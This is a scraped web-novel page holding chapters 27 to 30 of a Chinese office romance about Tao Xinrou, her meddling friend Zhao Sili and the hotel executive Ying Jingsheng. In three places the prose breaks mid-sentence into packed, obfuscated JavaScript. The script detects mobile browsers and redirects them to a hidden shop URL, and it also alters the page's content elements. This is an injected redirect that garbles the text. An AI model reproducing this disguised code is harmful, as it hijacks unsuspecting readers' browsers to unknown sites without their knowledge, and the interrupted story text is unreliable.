陶新柔哭笑不得，又感动又头疼，门口也有些人朝里面往来，陶新柔赶紧和赵思丽拉开距离。 “思丽，暂时先不用这样。” “怎么啦，我们只是在茶水间碰巧遇见的同事而已，你别慌嘛，这样才能说明我这个人热心呀，让他们打破对我的偏见。对了，我还没去见我表哥呢，他要是知道我这么高调入职，估计得骂人，不过，你说我是先给他个惊喜晚点主动去见他，还是等他召见我？” 话音刚落，茶水间的门被再次推开。 应景晟身姿挺拔地站在那里，目光平静地扫过正在研磨咖啡的赵思丽，最后落在旁边的陶新柔身上。 空气似乎凝滞了一秒。 “表哥，你怎么来这儿了？你不是应该在39楼吗？”赵思丽明显被吓了一跳，尴尬地笑了笑，随后又稍微规矩了些问，“那个，你要不要也来一杯咖啡？保证比秘书泡的好喝。” 应景晟没接话，而是直接走进来，面无表情道：“我正好找你，赵思丽，上班时间，茶水间不是社交场所，你的工位在宣传部，入职手续办完了吗？” 赵思丽撇撇嘴，对他公事公办的态度有些不满：“当然办完啦，部长亲自带着办的，效率可高了。”说话的间隙咖啡也好了，她端着磨好的咖啡走过去，“喏，尝尝嘛，算是妹妹的入职孝敬？” 应景晟只是淡淡地看了一眼道：“不必，做好你的本职工作就是最好的孝敬。”说罢又侧头看了一眼陶新柔，“你也陪着她瞎闹？” 冰冷的眼神吓得陶新柔立刻低下头，心里警铃大作。 完了，惹怒总裁就不好了。 “没、没有，小应总，我现在就去工作。”陶新柔立刻一溜烟跑开。 她不知道的是，她前脚刚走，后脚里面就发生了争执。 赵思丽的表情更娇蛮：“表哥，你这是在干嘛，新柔可是我最好的朋友，你不准欺负我的朋友！” 可应景晟却没有买账，语气更冷了下来，把赵思丽叫去无人的角落。 “赵思丽，职场不是儿戏，云麓更不是你胡闹的地方，以后在公司，要注意点分寸。” 赵思丽满是不解与生气：“我怎么不注意分寸啦，我都带了这么好的咖啡豆来请大家喝咖啡呢。” 应景晟看着她，目光沉静，没接她的话茬：“咖啡豆笼络人心？你可真是当大小姐当惯了。我问你，你知道公司现在是什么情况吗？” 赵思丽愣了一下：“什么情况？不就是正常运营吗？” 应景晟冷笑一下：“你先看清楚公司的情况再做这些事。” 应景晟正要走，赵思丽反而拉住了他：“什么意思啊表哥，你说清楚！” 他不想多说：“我的意思是，现在回你的工位，去工作。” “我知道啊，工作之前先喝杯咖啡有错吗？而且刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只是应景晟还没离开，他的目光再次落回陶新柔身上，淡淡道：“都好好工作。” * 关于应家四小姐一来就和陶新柔攀上了关系，大家都看在眼里，讨论在私下。 郑舒慧目睹了早上的一幕，也不免好奇：“新柔，那个四小姐跟你关系很好吗？大家都在传你是不是傍上小应总了，还是说，你也有背景呀？我听他们说，是因为那次团建活动之后？” 果然一旦有八卦发酵，总会以惊人且乱说的速度展开进展。 “别听他们瞎说，我是跟赵思丽认识，她是我大学室友，刚来公司，觉得跟我比较熟悉，所以多说了几句话而已。什么傍上小应总、有背景，都是瞎说的。” “嗯嗯，新柔，我当然相信你，你都不知道，现在私下里传得可热闹了。” “你都别信就好了，没有的事。舒慧，咱们做好自己的工作最重要。” “嗯嗯，新柔，要是哪天成真了，你可别忘了我呀，我还是很看好你和小应总的。”说完就踢了一下椅子滑走了。 陶新柔心里无奈，无论是郑舒慧的话还是大家的谣言，都让她感到心烦意乱，她盯着屏幕上的鼠标，烦躁地划来划去，一个字也看不进去。 从早上开始，应景晟就变得怪怪的，连看她的眼神都带着点刺，尤其是看到她和赵思丽熟络。 难道他发现了她要针对应家？ 陶新柔摇摇头，不去想这些了。 28. 第二十八章 然而另一边，赵思丽入职云麓酒店的消息也很快传到了应怀山耳朵里。 他放下手中的平板，眼底掠过一丝冷锐的算计。 上次的事情，已经暴露了应景晟在帮陶新柔了，他必须更为小心才是。可赵家，又在玩哪一出？ “四丫头？她不是一向对家族生意没兴趣，只爱摆弄她的艺术吗？怎么突然跑到景晟眼皮子底下去锻炼了？” 助理谨慎地补充道：“听说是赵家那边的意思，说是让四小姐从基层熟悉业务，便与老爷子商量安排在了云麓酒店，另外，根据初步观察，四小姐似乎与陶新柔过往甚密，关系匪浅。四小姐刚入职时，还曾为此人当众与小应总有过轻微争执。” “有点意思。”应怀山勾起唇角，露出邪笑，“四丫头头脑简单，不爱复杂之事，她突然被赵家安排进来，是无心插柳，还是赵家有意布的棋，又或是另有图谋？……” 他站起身，踱步到窗前，俯瞰着脚下的车水马龙。 云麓格局的细微变动，都可能影响到他的布局和话语权。 “不管是有心还是无意，我们都得利用好了，这个陶新柔现在看来，分量比预想的更重，正好，让景晟去头疼怎么安置这位表妹，水浑了，才好摸鱼。” 应怀山思索片刻，转身吩咐：“告诉张宏斌，暂时按兵不动，尤其不要再有明面上的接触或逼迫。现在动她，容易引起赵家那边的反弹，甚至可能让景晟更有理由介入深查。静观其变，看看赵家到底想干什么。” “是。”助理领命离开。 * 接下来的几天，赵思丽不知是不是想通了，虽然收敛了一些，不再大张旗鼓地直接去找陶新柔，但巧遇的次数明显增多，食堂刚好坐一桌，茶水间恰好研磨咖啡，下班时顺路一起走。 这些情况陶新柔都小心翼翼地应对着，既不想拂了赵思丽的好意，又时刻提防着别再惹出什么闲话，更怕传到应景晟耳朵里给她下马威。 只是赵思丽刚回国，身边除了陶新柔也没有熟悉的人，很是无聊。 这天周末，她给陶新柔打了个电话：“新柔，你在家吗？是不是还住在学校旁边那个老小区？” 此时陶新柔正戴着橡胶手套，奋力对付客厅角落的陈年污渍，轻轻“嗯”了一声：“对啊，还在老地方，怎么了思丽？” “没事，就想问问，你忙吧。”说完就挂了电话。 陶新柔摸不透，也没多想，继续跟她的地板奋斗。 大概过了半小时，门铃响了。 “谁啊？”她嘟囔着，摘下一只手套，打开门。 只见赵思丽妆容精致的脸前摆着一个袋子，随后拿开惊喜道：“突击检查！当当当，我带了你爱吃的芒果蛋挞，还有其他零食，惊喜吗？” 陶新柔确实很惊喜：“思丽？你怎么突然来了？也不提前说一声。” 话音未落，赵思丽已经像只雀跃的鸟儿挤了进来，她笑嘻嘻，目光随意扫过略显凌乱的客厅，“哇，你大扫除啊？怪不得刚你听声音像在跑步，那么喘。” 只是话说到一半，她的声音戛然而止，脸上的笑容瞬间凝固，眼睛突然瞪大，直勾勾地看向陶新柔身后。 “表、表哥？……你怎么在这里？！” 陶新柔大惊失色，回头看去，只见穿着浅灰色家居服、头发微湿、手里还拿着份文件的应景晟打开了房门，手还放在门把手上，同样一脸震惊地看着赵思丽。 说完，赵思丽又退出去看了看门牌号，“我没进错啊，这里不是新柔家吗？新柔，你们？你?他？……”她大为震撼地手指着两人，满脸不可思议。 应景晟显然也没料到访客是她，眉头瞬间蹙起，下意识想合上门，但已经晚了。 赵思丽眼睛像探照灯一样在客厅里扫视着，虽然没看到想要看的东西，但空气中仿佛弥漫着淡淡的，属于一丝不可言说的味道。 “我懂了！我全都懂了！原来如此！怪不得表哥你之前不让我跟她走太近，说什么怕我被利用、有危险，我看都是借口，根本就是你自己想金屋藏娇，怕被公司的人发现影响不好。”她挤眉弄眼，一副“看破不说破但我心知肚明”的样子。 “赵思丽，你胡说八道什么。”应景晟沉声喝止。 “我才不是乱说嘞，新柔，我没说错吧？你们是地下恋情，对不对？” 看着赵思丽眨眼看她，陶新柔的脸腾得一下红透了，连连摆手：“不是的，思丽，你误会了，不是你看到的这样，他只是我家的租客。” “租客？穿成这样？这个时间？在房东家里处理工作？新柔，你别骗我了，他会放着自家豪宅不住，跑来租你家的房子？哦~我知道了，你们是在玩什么角色扮演？这么说的话，刚才那个喘息声也是有迹可循了。好了好了，我知道了，我这就撤退，不打扰你们了。” 眼见赵思丽要撤回，陶新柔急忙抓住她，继续解释：“思丽，他真的只是租了我家的空房间。” “行了，让她走吧，她本来也不应该来。”这时应景晟反倒开口了。 他不说话还不要紧，这一说，赵思丽的想象力直接起飞。 她猛地点头：“嗯嗯，新柔，好好享受你们的二人世界，我就不打扰你们了。”她还拍了拍陶新柔的胳膊，“新柔，你放心，我绝对不给你们泄露出去的，你们继续，继续哈。” 说完，她生怕听到更多无用解释，嘻嘻笑着，敏捷地溜走了。 门内，顿时陷入一片诡异的寂静。 陶新柔站在原地，脸红得快冒烟了，她欲哭无泪地转头看向应景晟，心里大骂：大总裁！你刚才那句话是嫌误会还不够深吗？ 应景晟揉了揉眉心，只感到一阵无力。 过了好几秒，陶新柔才听到他哀叹一声：“我要不这么说，她就不会走了，她一向想象力丰富，你不用介意。” 怎么能不介意？ 陶新柔深吸一口气，又深吸一口气，努力告诉自己要保持优雅。 但她的眼神已经出卖了她，她深深地剜了应景晟一眼，看着他走进房间关门。 应景晟先生，下次我家来客人的时候，麻烦您能不能躲在房间里装死？实在不行，跳窗也行，三楼也不是很高，真的。 * 陶新柔因为这件事真的很烦躁，她决定要不让应景晟赶紧住回他家的大别墅，要不他们就约法三章。 只是比这个想法更早来得是赵思丽天马行空的猜测，她时不时发消息来追问陶新柔两人现在到什么进度了，什么时候成为自己的嫂子，并表示自己一定会自觉肩负起守护绝美地下恋情的重任。 陶新柔扶额。 无语，真的非常无语！ 让她更烦躁的人出现了。 就在这略显微妙的气氛中，之前项目组的工作，正式进入下一阶段。 集团成立周年庆活动是云麓本年度的工作重点内容，云麓酒店准备策划一个结合本地非遗技艺的系列文化体验项目，旨在提升品牌内涵，吸引高端文化客群。 项目启动会上，应景晟直接点将：“这个项目很重要，宣传部牵头负责初步方案构想。” “小应总，您看这件事交给小赵同志怎么样？” 张德胜神色谄媚地看向赵思丽。 明明这是一场中层会议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328510|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但张德胜却执意要赵思丽参加，美其名曰虽然赵思丽是新人，但毕竟也是应家人，还是应该了解点酒店的规划。 原本就已经不太高兴的应景晟，此刻脸色更变了，他抬起头看了一眼赵思丽。 而此刻赵思丽正琢磨着怎么给表哥女友创造表现机会，听到了这个消息，她立刻点头：“没问题的部长，这种为公司长脸的事情就交给我了。” 不过应景晟也是有点担心，毕竟赵思丽才刚踏入职场。 “那你说说你有什么想法吧。” 赵思丽眼睛一转，快速答道：“根据我对我们酒店的观察，我认为文化体验落地必须跟客房部联合，因为这涉及客房布置和服务流程配合，我申请和客房部的同事一起做方案起草。” 应景晟又怎会不知道她那点小心思，他咳嗽了一声道：“方案起草你先做，做完了再跟客房部一起研究。” “不行，我觉得初稿就得跟客房部一起商量，而且，我申请跟陶新柔配合！” 众人立刻明白了赵思丽的想法。 只看应景晟会怎么做。 只见他眉头微皱，思索了几秒后才说：“先做方案再说后文。” 但赵思丽哪儿听应景晟的话，做完初步设想后，她就找到陶新柔，说要跟她探讨方案。 陶新柔正忙着手头的活，都没停下一刻，就被赵思丽拉去平时不对外开放的商务茶室。 “这里安静，视野好，灵感充沛。”赵思丽推开窗，让微风吹进来，转身对着陶新柔眨眨眼，“而且，远离闲杂人等。” 陶新柔苦笑：“思丽，你这样直接拉着我来参加不合规吧？而且，客房部还有其他同事在呢。” “我才不要跟他们讨论，我就信任你。”赵思丽说着，才坐下来拿出pad，“你看，这是我昨天设计的初稿方案，我的策划是把客房打扮成非遗客房，客人入住后，可以通过我们的手工作品，去参与我们的项目，亲手体验刺绣、竹编或者制作一盏简易的传统灯笼，如果是情侣呢，还可以共同制作，促进感情，我觉得……要不要让我们公司的情侣们先体验一下？比如先让我哥来试试？” 陶新柔瞬间预感到赵思丽在想什么，她缓了缓才说：“思丽，我们现在是讨论方案。” “嗯嗯，那未来嫂子你有什么建议意见？” 陶新柔真的太无奈了，只能正经看着方案道：“我觉得倒是没什么问题，但是特意布置几个房间，客人愿不愿意去住，还有这个项目结束后，布置的那这些非遗物件放去哪儿，物料成本、后续清洁维护，客人的时间都是问题。” 赵思丽挠了挠头，最后只觉得陶新柔想太多了：“哎呀，细节可以慢慢打磨嘛，现在重点是要做出亮点，让我表哥和领导们看到你的能力和才华，显得专业又用心，到时候，你要嫁给我表哥，还不是分分钟的事。” 陶新柔哭笑不得，她怎么还在吃没有的瓜。 她今晚就要去跟应景晟说清楚，不要再有这些不清不楚，尤其是给赵思丽遐想的空间了。 “对了，你说我们在这儿聊方案，我哥会不会有点表示？” “啊？” 就在陶新柔不解时，有人敲了敲门走进来，推门而入的是行政部来送茶点的员工，看到赵思丽和陶新柔，态度格外殷勤，放下精致的点心盘时，还特意对陶新柔笑了笑：“陶小姐，四小姐，请慢用，有什么需要随时叫我。” 陶新柔愣住了，好像有点明白赵思丽刚才话语中的意思了。 人一走，赵思丽就冲陶新柔挤眉弄眼：“看，果然我哥知道我们在这儿工作，待遇不一样了吧？这就是女朋友效应。” 29. 第二十九章 “额……思丽，这不是小应总送的吧……” 陶新柔扶额苦笑，心里对赵思丽的想象力佩服得五体投地，这脑回路，不去写小说都可惜了。 “怎么不是，你看，有你喜欢的芒果蛋挞、芒果布丁，还有茉莉花茶，他要是不知道你的喜好怎么会送这些？”赵思丽拿起一小块芒果蛋糕，信誓旦旦，“我哥那人，闷骚得很，关心人都是这种不动声色的路线。你以后可得习惯。”她又朝陶新柔眨眨眼。 但这些更摆明了是赵思丽设计的，因为有些人根本不知道她喜欢吃什么。 不想让好友伤心，陶新柔扯了扯嘴角，感觉自己的笑比哭还难看，她拿起一个芒果蛋糕咬了一口。 “好吃吗？”赵思丽眼巴巴地问。 “好吃。” “你看，我哥真了解你的口味。” 陶新柔实在不忍心戳破，她扯了扯嘴角，努力挤出一个看起来不那么假的笑容回归正题。 “我们接着说吧，我觉得我们可以设计一系列可以融入现有客房服务、或者作为独立增值体验的非遗项目。比如，我们可以和本地靠谱的非遗工作室合作，定制一批能体现技艺核心的体验材料包。客人入住时，可以根据兴趣选择是否付费体验。同时，我们还可以在客房电视系统或者小程序里，嵌入简短的非遗技艺介绍和制作教学视频，这样可以先做宣传。” 赵思丽的眼睛渐渐亮起来：“不用大动干戈改房间，客人选择自由，还方便管理，新柔，你果然有想法。” 陶新柔又继续说：“甚至我们还可以和餐饮部联动，如果客人完成了体验，就赠送一份特色非遗主题的甜点或饮品，形成闭环。” “这个想法好！新柔，你这个想法肯定会得到认可的，我这就把方案细化，嗯……第一批体验者，我觉得可以邀请我们内部员工，比如说让有家属或者有对象的来试试？”她又开始意有所指。 陶新柔立刻警觉：“思丽，这是面向客人的商业项目，内部测试也需要找有代表性的员工，或者邀请部分常客参与调研，这样反馈才客观。” “好吧，我知道了，公事公办嘛！”赵思丽点点头，嘴里还小声嘀咕，“我们赶紧做好方案，顺便选选第一批体验者的名单。” * 方案汇报满打满算，只剩五天准备时间。 原本应该是赵思丽汇报，但她竟然直接在会议上说陶新柔才是方案的真正策划者，所以要把这个大好的机会让给她。 不得不让陶新柔头疼，只好利用周末时间好好把汇报PPT打磨一下，结果周六早上九点，她的手机就不断被赵思丽的消息轰炸。 主旨就一个——快点出门跟我去逛街！ 但陶新柔看了看手头的工作，实在没心思逛街，谁知道，赵思丽竟然直接杀到家里来了。 刚开门她就催着陶新柔去换衣服。 “思丽，你等汇报结束了，我陪你好好逛好吗？” “不行！现在就去，而且，就是因为距离汇报时间没几天了，才要去逛街。” “啊？” “要为你第一次上台汇报做战袍！” 陶新柔一时没反应过来：“为什么？” “当然是因为方案汇报那天所有高层都在呀，你傻呀，这么重要的会议，难道你打算穿工装上去讲？那可是集团周年庆项目，第一印象多重要你知道吗？” “我有正装，而且，酒店规定只能穿工装。” “哎呀，你听我的就好了，这么重要的汇报，我不允许你输！你必须穿出气场！专业又不失温柔，让人一看就觉得‘这个女人不简单‘。” 陶新柔张了张嘴，想说方案内容比衣服重要，但赵思丽已经挽起她的胳膊，拉着她就走出去了。 * 两个小时后，陶新柔被赵思丽按在商场试衣间的镜子前，身上是一件剪裁利落的雾蓝色西装裙，收腰设计，领口微开，衬得她整个人都亮了几分。 “就这件！显白，显气质，还低调地有那么一点点小性感，完美。”赵思丽满意地点了点头。 陶新柔看着吊牌上的五位数，瞬间倒吸一口凉气。 “思丽，我只是去汇报个方案，不是去走红毯。” “胡说，职场就是红毯。”赵思丽已经掏出卡准备买单，“你负责美，我负责买单，这就算我送你的入职周年礼物。” 陶新柔无语：“我入职还没到周年。” “那就当时提前送了！你可不准拒绝啊，不然我就哭给你看。” 陶新柔拗不过她，只好乖乖地看着赵思丽付钱。 只是，她以为的终点并没有结束，赵思丽又为她精挑细选了一件衣服，并在她试穿的时候把吊牌给摘了，美其名曰要穿得美美的逛街才更有意义。 陶新柔被赵思丽这一连串的热情轰炸，仿佛回到了几年前与她同一个寝室的时候。 那时候好多人围在赵思丽身边，不过是想从她那儿占些便宜，但陶新柔一直没跟赵思丽有太多接触，真正认识她还是从一件白衬衫开始。 大二那年，学校举办辩论会，陶新柔被选举上了正方。 大家讨论着要穿压倒对方气势的衣服，一定要打扮地漂漂亮亮，但她翻遍衣柜，只找到一件领口发黄的连衣裙，那是母亲为她准备的十八岁成人礼。 她正准备就这么凑合穿上，赵思丽从上铺探出头来，让她等等。 她从衣柜深处抽出一件崭新的碎花裙，递给陶新柔，吊牌还挂着，是某个商场里陶新柔从不敢走进去的牌子。 陶新柔愣住了，她不敢接，但赵思丽只是随手把吊牌剪了，说放她那儿也是浪费，然后就把她推进洗手间试穿，还问皱不皱，要不要用挂烫机。 后来陶新柔才知道，那是赵思丽上周刚买的衣服。 比赛结束，陶新柔小心翼翼地把裙子送干洗店还了回去。 赵思丽看都没多看一眼，让她拿去穿就好，还是那句“放我这儿也是浪费”。 镜子里，陶新柔看着身上这件贴合身材的裙子，忽然鼻头有些酸涩。 * 到了晚饭时间，赵思丽又拉着她往一家私房菜馆走：“为了庆祝你拥有战袍，走！我请客。” 陶新柔感觉自己根本没有拒绝的理由。 包厢很雅致，灯光暖黄，她穿着一身极不适应的裹身连衣裙，裸粉色的高跟鞋，走路都歪歪扭扭地，但赵思丽却在旁边满意地点头：“嗯，效果好极了。” 就在她还没搞清楚状况时，服务员把他们带到了包厢门口，做了个“请”的手势。 门推开。 陶新柔的脑子“嗡”的一声凝固了。 她就知道！赵思丽没安好心！ 什么买战袍，什么庆祝，分明是给她挖坑！ 气氛明显更尴尬了。 应景晟看着她，她看着应景晟。 陶新柔感觉自己像个被押送到刑场的犯人，而赵思丽就是那个押送她的刽子手。 最可怕的是，这个“刽子手”还在笑。 赵思丽热情地朝他招了招手道：“表哥，你这么快就到了呀。”说着就把陶新柔拉进去，“你看，我还带了谁来，当当当——是你的同居对象。” 这下，陶新柔算是知道为什么赵思丽执意要她换上新衣服了，刚才的酸涩全没了。 气氛明显更尴尬了，应景晟看着陶新柔，陶新柔看着应景晟，两人一时都不知该说什么。 赵思丽径直拉着陶新柔进去，把她推到了应景晟身边坐下后，才大大咧咧继续说：“我刚跟新柔在逛街呢，正好我妈给我发消息说让我给你带点东西，就把你喊出来了。” 应景晟的目光在她身上停留了几秒，才移开问道：“东西呢？” “哦，东西啊……”赵思丽眨巴眨巴眼，“在车上呢，待会儿给你。” 陶新柔在一旁默默低头观察，心想这肯定是赵思丽的借口。 但既然已经被按在椅子上了，她也不好临阵脱逃。 菜一道道上，赵思丽热情张罗，一会儿给应景晟夹菜，一会儿给陶新柔添茶，嘴也没闲着，从非遗项目聊到公司八卦，从公司八卦聊到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332007|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应景晟小时候的糗事。 只是吃到一半，赵思丽的手机响了，她看了眼屏幕，“哎呀”一声站起来：“糟了！我约了美容师做脸，忘记时间了，我得现在过去。”她说着已经拿起包，动作行云流水，快得陶新柔还没反应过来，人已经闪到门口。 “思丽？”陶新柔疑惑。 “你们慢慢吃，单我已经买过了，不用等我，拜拜！”赵思丽说完便溜了，随后探回半个脑袋，冲陶新柔吐了吐舌头，“砰”得一下关上了门。 包厢里彻底安静下来，只剩火锅咕嘟咕嘟冒着热气的声音。 陶新柔僵硬地握着筷子，看着对面同样没动的应景晟，脑子里只剩一个念头——救命，现在该怎么办？赵思丽跑了。 她用了一个极烂的借口，把她扔在这儿就跑了。 现在只剩下她和应景晟大眼瞪小眼了。 她还以为她在撮合他们，其实她是在故意给他们制造独处尴尬时刻。 陶新柔低头，用筷子戳着碗里那颗已经凉透的鱼丸，把它翻过来，又翻过去。 她恨不得把自己也戳一戳，看看能不能原地消失。 应景晟也没说话，给自己倒了杯茶，慢慢喝着。 时间慢慢流逝，也不知道过了多久，漫长得像过了一个世纪，两人都没有说一句话。 直到陶新柔的手机屏幕突然亮了一下。 她拿起来，是赵思丽发来的微、信。 【亲爱的柔，加油！我为你疯狂、为你呐喊，请务必拿下我哥。】 【不用谢我，请叫我红娘小天使(??????)??】 【对了，今天的战袍非常对我哥的胃口，他看了你好几次，我看出来了。】 陶新柔想把手机扔进火锅里。 算了，这是对她手机的不尊重。 她正在想措辞怎么向应景晟礼貌地表示“要不今天就到这里我先回去了”，对面忽然传来沉稳的声音：“她跑了。” 不是疑问句，是陈述句，看来他也收到消息了。 陶新柔艰难地扯出一个笑，只能“嗯”了一声。 “我猜到了，她小时候就这样，闯了祸就跑，跑之前还要回头做个鬼脸。” 陶新柔愣了愣，一时不知道该怎么接。 应景晟把视线收回来，落在她身上。 “我们自己吃吧，吃完了送你回去。” 陶新柔听着，心里那根紧绷的弦莫名其妙松了一点。 她重新拿起筷子开始吃饭。 两人安静地又吃了十分钟。 期间赵思丽又发来几条消息，不断追问陶新柔怎么样了，发展到什么地步了，一定要让她哥喝几杯，这样有助于晚上运动。 陶新柔脸颊发烫，直接把手机扣在了桌上，表示不想再看。 * 饭后，两人一前一后走出餐厅。 晚风微凉，街道两旁的梧桐树影摇曳。 陶新柔本打算跟应景晟一起回去，他却先开了口：“既然已经出来了，还有没有想要去逛的地方？或者买点东西？” 陶新柔一怔。 什么？他居然主动问她要不要逛街？ 今天太阳是打西边出来的吗？还是赵思丽给他下了什么迷魂药？ 她沉默了几秒，鬼使神差地开口道：“那我……去趟药店。” “哪里不舒服吗？” “没有，是给我妈买药，差不多快吃完了，最近应该会比较忙，怕接不上。” 应景晟没再多问，只是点了点头：“走吧。” 药店在两条街外，这个时间点人不多。 白炽灯从玻璃橱窗里透出来，照着门口一盆快开败的绿萝。 陶新柔熟练地走到货架边，拿起一盒药看了眼日期，又放下，换了另一盒。 应景晟站在门口附近等着，身姿笔挺，和这间弥漫着药味的小店有些格格不入。 她结完账，两人一前一后走出药店。 谁都没注意，街对面的阴影里，一只手机悄悄对准他们，按下了快门。 30. 第三十章 同一时刻，应怀山家。 应怀山看着手机屏幕上刚收到的照片，嘴角慢慢扬起一个弧度，喉咙里溢出一声低沉的轻笑。 照片拍得很清楚，透过药店的玻璃橱窗，陶新柔正把一盒药装进包里，而她身侧半步之遥，站着一身深色大衣的应景晟，他微微侧着头，似乎在听她说话。 距离很近，姿态很自然。 这不是上下级该有的距离。 “怪不得。” 怪不得陶新柔软硬不吃，对他开出的条件无动于衷；怪不得应景晟一次次出现在她身边，把他们准备的那些小动作无声无息地化解。 原来不是防备，是庇护，是在意。 应怀山把手机放下，抬起头看着窗外，城市的灯火倒映在他眼底，冷冷的。 本来只是想把一颗碍眼的棋子快速清理掉，现在看来，这颗棋子已经不是碍眼那么简单了。 她已然成了应景晟的人。 而应景晟的人，就是他应怀山的敌人。 他拿起手机，拨通张宏斌的号码，“之前准备的B计划，可以启动了。但方向改一改，别只盯着她一个人下手。” 他顿了顿，嘴角浮起一丝玩味的弧度：“我要让景晟亲眼看着，他护着的人，是怎么一步步把自己推入深渊的。” * 方案很顺利地通过了，陶新柔收拾东西准备走出会议室，赵思丽却急匆匆跑过来拉住她的胳膊不让她走，又用眼神示意了一下还坐在那儿的应景晟。 明摆着是让她去道谢，或是别的心思。 陶新柔还没来得及多想，赵思丽倒是先开口了：“表哥，这件事既然敲定了，那我们是不是得开始选内测人员了？” 应景晟还在看资料，头也没抬地回了她一句：“嗯，你们可以先准备起来。” “那我有个不情之请，内测的客人，我能邀请你吗？毕竟你也是我们酒店的人。” 应景晟翻资料的手顿了一下，终于抬起头盯着两人，而陶新柔此刻只想找个地缝钻进去。 她大概已经猜到赵思丽是怎么想的了。 “你想让我当小白鼠？” “怎么能叫小白鼠呢！这叫领导亲临一线指导工作，多有意义啊！而且，我还有一个大胆的想法。” 赵思丽还没说完，应景晟就接话：“建议你别说。” “不行，我就得说，我建议你和新柔假扮情侣，正好可以看参与内测客户的真实反馈。” 气氛瞬间凝固。 陶新柔的脸更是唰得一下就红了，她果然没猜错。 应景晟倒是径直开口：“你的想法很好，但内测需要的是真实用户的反馈，更何况假扮情侣这种事，未必能模拟出真实情侣的入住体验，你们还是按正常流程筛选内测人员吧。” 眼见应景晟就要离开，赵思丽急忙拦在他面前：“表哥，你听我说完嘛！正因为你是负责人，才能在最关键的地方发现问题啊，而且新柔是方案提出者，她对细节最了解，你们两个搭配，才能测试出那些普通用户注意不到的细节。至于情侣身份，反正就是体验嘛，又不用真的做什么，你那么紧张干什么？” 应景晟被说得反驳不出口，只能抿了下唇角道：“既然是为了项目，我可以配合，什么时间？” 赵思丽眼睛一亮：“那就下周二下午！” “可以。” 赵思丽差点当场蹦起来，但硬生生忍住了，只是用力扯了扯陶新柔的胳膊，飞快地朝陶新柔使了个眼色。 陶新柔太无语了，她刚才在赵思丽拉住她的手里看到了她要对着两人猛拍照片，还要让他们假戏真做。 尴尬之余，陶新柔脸上还得保持微笑，但心里已经把这个“红娘小天使”翻来覆去蹂躏了八百回了。 她又看了一眼应景晟，他的眸光里似乎藏着一些什么不可说的情绪，只对视的一秒，他就迅速撇头去看别的地方了。 等等，他之前不是还怀疑她的吗？ 怎么就真答应了？ * 周二下午一点半，陶新柔在VIP体验区门口等待。 她只穿了一件最普通的黑色呢大衣和一件高领针织衫，搭配一条牛仔裤就来了。 “新柔！”赵思丽的声音从走廊尽头传来，却在跑到她面前时，看到她的打扮皱起眉头。 “你怎么穿成这样啊？我上次给你买的裹臀开叉裙呢？” “别闹了思丽，这么冷的天，我才不要穿开叉裙。” 假扮情侣已经够离谱了，她要是再穿得花枝招展，那不成真的相亲了？ “哎呀，都跟你说了，这才能展现你的美嘛。哎，算了算了，只要我哥喜欢，你穿花棉袄我哥也能咧嘴笑。” 说完，应景晟已经从另一头走了过来。 他今天穿了一件深灰色的休闲外套，里面是简单的白衬衫，比平时在办公室少了几分凌厉，多了几分不知该怎么形容的好看。 看到应景晟慢慢走近，赵思丽凑近陶新柔耳边道：“人来了，你加油哦。” 说完，又后退一步，用应景晟也能听见的声音道：“两位客人麻烦你们先熟悉一下，我去看看其他客人到了没。” 赵思丽又跑了，走廊里只剩下他们两个。 陶新柔六神无主地站着，不知该怎么面对应景晟。 “走吧，进去看看。”应景晟抬头目视前方，率先一步走了进去。 陶新柔也跟着走进去。 两人大概参观了一圈，应景晟一直走在前面，陶新柔抱着宣传手册跟在后排。 看了一会儿，应景晟停下步子道：“你干嘛跟在我身后？” 陶新柔愣了一下：“啊？”才反应过来他们是假扮情侣，赶紧小跑一下走到他身边，又特意拉开距离。 “别紧张，自然点。” 陶新柔点点头，她根本不敢去看应景晟：“好，我没紧张。” “但你一直抱着宣传手册……” 陶新柔这才看到因为过于用力，宣传手册都快被她捏出指纹了。 她尴尬地笑着，松开手指。 * 内测活动准时在2点开始，VIP体验区里一共邀请了五组客人，除了陶新柔这组特殊客人外，还有一对年迈的老夫妻，一位老先生，一对年轻情侣，以及一个独自前来的中年男人。 陶新柔跟在应景晟身边，依然采取斜后方45°的位置。 赵思丽则走在最前面做讲解。 “各位下午好，欢迎参加云麓酒店非遗文化体验项目的内部测试。今天我们准备了三种体验项目：非遗制作、下午茶和客房体验。现在我们先带大家进行非遗制作体验。” 会客厅里，非遗老师已经等候多时，在她的身边，是一位正在做竹编的师傅。 “竹编是咱们老祖宗传下来的手艺，一根竹子，劈成篾片，再细分成篾丝，宽的做骨架，细的走纹样。挑一压一，挑二压二，看着简单，里头全是功夫。”师傅手腕轻转，竹篾听话地弯成优美的弧度，“现在的年轻人管这叫治愈，我们那会儿管这叫过日子，篮子、簸箕、斗笠，样样都是用这做出来的。” 说着，师傅把编了一半的篮子递给旁边的客人：“您试试，竹子这东西，顺着它的性子来，它就顺着您的手走。” 客人们似乎对竹编开始感兴趣了，大家都跃跃欲试。 应景晟听得很认真，偶尔点头，偶尔问一两个问题，态度专业得像在开董事会。 